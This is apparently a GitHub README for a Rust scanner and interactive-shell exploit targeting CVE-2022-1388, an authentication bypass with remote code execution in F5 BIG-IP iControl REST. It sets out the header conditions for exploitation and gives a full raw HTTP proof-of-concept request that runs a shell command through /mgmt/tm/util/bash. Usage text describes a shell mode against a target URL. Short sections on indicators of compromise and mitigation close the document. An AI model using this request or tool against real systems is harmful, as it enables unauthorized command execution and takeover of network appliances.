CVE-2022-1388-rs

Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust

Summary

To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerability:

• Connection header must include X-F5-Auth-Token
• X-F5-Auth-Token header must be present
• Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
• Auth header must be set with the admin username and any password

PoC

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
    "command":"run",
    "utilCmdArgs":"-c id"
}

Setup LAB

• You can find the lab Here

Usage

$ cve_2022_1308_rs -h

CVE-2022-1388 PoC 1.0
Petruknisme <me@petruknisme.com>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust

USAGE:
    cve_2022_1388_rs [OPTIONS] --url <URL>

OPTIONS:
    -h, --help         Print help information
    -s, --shell        This mode for accessing payload with interactive shell
    -u, --url <URL>    F5 Big-IP target url
    -V, --version      Print version information

Requirements

• Rust
• Cargo

IoCs

IOCs can be found in the /var/log/audit log file. Unrecognized commands executed by the mgmt/tm/util/bash endpoint should be cause for concern.

Mitigation

Update to the latest version or mitigate by following the instructions within the F5 Security Advisory

• https://support.f5.com/csp/article/K23605346

References

• https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/